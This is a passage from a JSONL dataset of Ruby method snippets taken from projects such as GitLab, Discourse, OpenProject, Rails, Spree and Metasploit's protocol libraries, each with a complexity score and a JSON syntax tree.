}]}]},{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"phone_number\"]}]},{\"type\":\"lvar\",\"children\":[\"html_options\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"5cc261c3-95e5-4e68-899f-ce855e1d8c7f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/error_tracking/stacktrace_builder.rb","start_line":7,"raw_source":"def initialize(payload)\n      @stacktrace = build_stacktrace(payload)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@stacktrace\",{\"type\":\"send\",\"children\":[null,\"build_stacktrace\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}","id":"35513634-1295-4c38-9144-d321a4ff734b"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/repository.rb","start_line":169,"raw_source":"def cat(path, identifier = nil)\n    scm.cat(path, identifier)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cat\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"optarg\",\"children\":[\"identifier\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scm\"]},\"cat\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"identifier\"]}]}]}","id":"51b551b3-e304-4dc7-96c5-be3dd1be60a4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/mergeability/run_checks_service.rb","start_line":44,"raw_source":"def run_check(check)\n        return check.execute unless check.cacheable?\n\n        cached_result = cached_results.read(merge_check: check)\n        return cached_result if cached_result.respond_to?(:status)\n\n        check.execute.tap do |result|\n          cached_results.write(merge_check: check, result_hash: result.to_hash)\n        end\n      end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"run_check\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"check\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"check\"]},\"cacheable?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"check\"]},\"execute\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cached_result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cached_results\"]},\"read\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_check\"]},{\"type\":\"lvar\",\"children\":[\"check\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cached_result\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"status\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cached_result\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"check\"]},\"execute\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cached_results\"]},\"write\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_check\"]},{\"type\":\"lvar\",\"children\":[\"check\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"result_hash\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"to_hash\"]}]}]}]}]}]}]}","id":"a320b6d4-28da-4694-893b-3c001867136e"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/askbot.rb","start_line":227,"raw_source":"def post_process_posts\n    puts \"\", \"Postprocessing posts...\"\n    current = 0\n    max = Post.count\n    # Rewrite internal links; e.g.\n    # ask.cvxr.com/question/(\\d+)/[^'\"}]*\n    # I am sure this is incomplete, but we didn't make heavy use of internal\n    # links on our site.\n    tmp = Regexp.quote(\"http://#{OLD_SITE}\")\n    r1 = %r{\"(#{tmp})?/question/(\\d+)/[a-zA-Z-]*/?\"}\n    r2 = %r{\\((#{tmp})?/question/(\\d+)/[a-zA-Z-]*/?\\)}\n    r3 = %r{<?#tmp/question/(\\d+)/[a-zA-Z-]*/?>?}\n    Post.find_each do |post|\n      raw =\n        post\n          .raw\n          .gsub(r1) do\n            if topic = topic_lookup_from_imported_post_id($2)\n              \"\\\"#{topic[:url]}\\\"\"\n            else\n              $&\n            end\n          end\n      raw =\n        raw.gsub(r2) do\n          if topic = topic_lookup_from_imported_post_id($2)\n            \"(#{topic[:url]})\"\n          else\n            $&\n          end\n        end\n      raw =\n        raw.gsub(r3) do\n          if topic = topic_lookup_from_imported_post_id($1)\n            trec = Topic.find_by(id: topic[:topic_id])\n            \"[#{trec.title}](#{topic[:url]})\"\n          else\n            $&\n          end\n        end\n\n      if raw != post.raw\n        post.raw = raw\n        post.save\n      end\n      print_status(current += 1, max)\n    end\n  end","complexity_score":56.4,"ast_json":"{\"type\":\"def\",\"children\":[\"post_process_posts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"Postprocessing posts...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"current\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"max\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"count\"]}]},{\"type\":\"lvasgn\",\"children\":[\"tmp\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"quote\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"http://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OLD_SITE\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"r1\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmp\"]}]},{\"type\":\"str\",\"children\":[\")?/question/(\\\\d+)/[a-zA-Z-]*/?\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"r2\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\((\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmp\"]}]},{\"type\":\"str\",\"children\":[\")?/question/(\\\\d+)/[a-zA-Z-]*/?\\\\)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"r3\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<?#tmp/question/(\\\\d+)/[a-zA-Z-]*/?>?\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"raw\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"raw\"]},\"gsub\",{\"type\":\"lvar\",\"children\":[\"r1\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[null,\"topic_lookup_from_imported_post_id\",{\"type\":\"nth_ref\",\"children\":[2]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"url\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]},{\"type\":\"back_ref\",\"children\":[\"$&\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"raw\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"gsub\",{\"type\":\"lvar\",\"children\":[\"r2\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[null,\"topic_lookup_from_imported_post_id\",{\"type\":\"nth_ref\",\"children\":[2]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"url\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]},{\"type\":\"back_ref\",\"children\":[\"$&\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"raw\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"gsub\",{\"type\":\"lvar\",\"children\":[\"r3\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[null,\"topic_lookup_from_imported_post_id\",{\"type\":\"nth_ref\",\"children\":[1]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"trec\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"topic_id\"]}]}]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trec\"]},\"title\"]}]},{\"type\":\"str\",\"children\":[\"](\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"url\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"back_ref\",\"children\":[\"$&\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"raw\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"raw=\",{\"type\":\"lvar\",\"children\":[\"raw\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"save\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvar\",\"children\":[\"max\"]}]}]}]}]}]}","id":"762bff56-f5fd-4fa3-814a-3dd27237a6b3"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/models/chat/reviewable_message.rb","start_line":156,"raw_source":"def perform_delete_message(performed_by, args)\n      chat_message.trash!(performed_by)\n      create_result(:success, :approved, [created_by_id], true)\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"perform_delete_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"performed_by\"]},{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"chat_message\"]},\"trash!\",{\"type\":\"lvar\",\"children\":[\"performed_by\"]}]},{\"type\":\"send\",\"children\":[null,\"create_result\",{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"sym\",\"children\":[\"approved\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"created_by_id\"]}]},{\"type\":\"true\",\"children\":[]}]}]}]}","id":"e9af7ee2-10a8-4064-b363-5de227edf4d3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250131004257_fix_milestones_with_with_project_and_group.rb","start_line":10,"raw_source":"def up\n    batch_scope = ->(model) { model.where('group_id IS NOT NULL AND project_id IS NOT NULL') }\n\n    each_batch(:milestones, scope: batch_scope, of: BATCH_SIZE) do |batch|\n      # If for whatever reason records exist in this state, keeping project as it's more specific\n      # than the group the milestone might belong to.\n      batch.update_all(group_id: nil)\n    end\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"batch_scope\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"where\",{\"type\":\"str\",\"children\":[\"group_id IS NOT NULL AND project_id IS NOT NULL\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_batch\",{\"type\":\"sym\",\"children\":[\"milestones\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"lvar\",\"children\":[\"batch_scope\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}]}","id":"2e24c6e1-b260-4422-bf52-d0f1514b9e04"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/work_items/bulk_update.rb","start_line":92,"raw_source":"def resource_parent!(full_path)\n        strong_memoize_with(:resource_parent, full_path) do\n          parent = find_parent_by_full_path(full_path)\n\n          unless parent && current_user.can?(\"read_#{parent.to_ability_name}\", parent)\n            raise_resource_not_available_error!\n          end\n\n          parent\n        end\n      end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"resource_parent!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"full_path\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize_with\",{\"type\":\"sym\",\"children\":[\"resource_parent\"]},{\"type\":\"lvar\",\"children\":[\"full_path\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parent\",{\"type\":\"send\",\"children\":[null,\"find_parent_by_full_path\",{\"type\":\"lvar\",\"children\":[\"full_path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"can?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"read_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"to_ability_name\"]}]}]},{\"type\":\"lvar\",\"children\":[\"parent\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"raise_resource_not_available_error!\"]}]},{\"type\":\"lvar\",\"children\":[\"parent\"]}]}]}]}","id":"da474cf6-875e-400f-a7b5-c0f0e2700830"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/validations/numericality.rb","start_line":22,"raw_source":"def check_validity!\n        options.slice(*COMPARE_CHECKS.keys).each do |option, value|\n          unless value.is_a?(Numeric) || value.is_a?(Proc) || value.is_a?(Symbol)\n            raise ArgumentError, \":#{option} must be a number, a symbol or a proc\"\n          end\n        end\n\n        options.slice(*RANGE_CHECKS.keys).each do |option, value|\n          unless value.is_a?(Range)\n            raise ArgumentError, \":#{option} must be a range\"\n          end\n        end\n      end","complexity_score":23.8,"ast_json":"{\"type\":\"def\",\"children\":[\"check_validity!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMPARE_CHECKS\"]},\"keys\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"option\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Numeric\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Proc\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Symbol\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option\"]}]},{\"type\":\"str\",\"children\":[\" must be a number, a symbol or a proc\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RANGE_CHECKS\"]},\"keys\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"option\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Range\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option\"]}]},{\"type\":\"str\",\"children\":[\" must be a range\"]}]}]}]}]}]}]}","id":"2c27d450-eaa0-401b-9697-77f471c43529"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/unit/i18n_unit_test.rb","start_line":8,"raw_source":"def setup\n    @i18n = I18n.new(fixture(\"en_locale.yml\"))\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@i18n\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"fixture\",{\"type\":\"str\",\"children\":[\"en_locale.yml\"]}]}]}]}]}","id":"b91cd370-f863-4ff2-9bb4-0b2763e93b01"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/snmp/varbind.rb","start_line":30,"raw_source":"def initialize(varbind_list=[])\n        super()\n        if varbind_list.respond_to? :to_str\n            self << ObjectId.new(varbind_list.to_str).to_varbind\n        elsif varbind_list.respond_to? :to_varbind\n            self << varbind_list.to_varbind\n        else\n            varbind_list.each do |item|\n                if item.respond_to? :to_str\n                    self << ObjectId.new(item.to_str).to_varbind\n                else\n                    self << item.to_varbind\n                end\n            end\n        end\n    end","complexity_score":29.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"varbind_list\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"varbind_list\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"to_str\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ObjectId\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"varbind_list\"]},\"to_str\"]}]},\"to_varbind\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"varbind_list\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"to_varbind\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"varbind_list\"]},\"to_varbind\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"varbind_list\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"to_str\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ObjectId\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"to_str\"]}]},\"to_varbind\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"to_varbind\"]}]}]}]}]}]}]}]}","id":"cc9c9acd-9ecb-47f2-81f3-1e414095c37d"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/grids/app/queries/grids/filters/scope_filter.rb","start_line":88,"raw_source":"def type_strategy\n        @type_strategy ||= Queries::Filters::Strategies::HugeList.new(self)\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"type_strategy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@type_strategy\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Queries\"]},\"Filters\"]},\"Strategies\"]},\"HugeList\"]},\"new\",{\"type\":\"self\",\"children\":[]}]}]}]}","id":"b67bbeab-15a9-4898-9f23-4945f91c6718"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/net/dns/rr/types.rb","start_line":124,"raw_source":"def initialize(type)\n          case type\n          when String\n            # type in the form \"A\" or \"NS\"\n            new_from_string(type.upcase)\n          when Integer\n            # type in numeric form\n            new_from_num(type)\n          when nil\n            # default type, control with Types.default=\n            @str = Types.invert[@@default]\n            @num = @@default\n          else\n            raise TypeArgumentError, \"Wrong type class: #{type.class}\"\n          end\n        end","complexity_score":15.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"send\",\"children\":[null,\"new_from_string\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"upcase\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integer\"]},{\"type\":\"send\",\"children\":[null,\"new_from_num\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@str\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Types\"]},\"invert\"]},\"[]\",{\"type\":\"cvar\",\"children\":[\"@@default\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@num\",{\"type\":\"cvar\",\"children\":[\"@@default\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"TypeArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Wrong type class: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"class\"]}]}]}]}]}]}","id":"5ee1b0c2-7821-4e09-a4cd-ce586203f5a3"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/concerns/spree/admin/bulk_operations_concern.rb","start_line":20,"raw_source":"def handle_bulk_operation_response\n        respond_to do |format|\n          format.turbo_stream do\n            flash.now[:success] = flash_message_for(bulk_collection, :successfully_updated)\n            render partial: 'spree/admin/shared/close_bulk_modal'\n          end\n          format.html do\n            flash[:success] = flash_message_for(bulk_collection, :successfully_updated)\n            redirect_to request.referer\n          end\n        end\n      end","complexity_score":26.2,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_bulk_operation_response\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"turbo_stream\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"now\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"send\",\"children\":[null,\"flash_message_for\",{\"type\":\"send\",\"children\":[null,\"bulk_collection\"]},{\"type\":\"sym\",\"children\":[\"successfully_updated\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"str\",\"children\":[\"spree/admin/shared/close_bulk_modal\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"send\",\"children\":[null,\"flash_message_for\",{\"type\":\"send\",\"children\":[null,\"bulk_collection\"]},{\"type\":\"sym\",\"children\":[\"successfully_updated\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"referer\"]}]}]}]}]}]}]}","id":"c8337a0c-6e3d-4480-9e58-c4b60cb35342"}
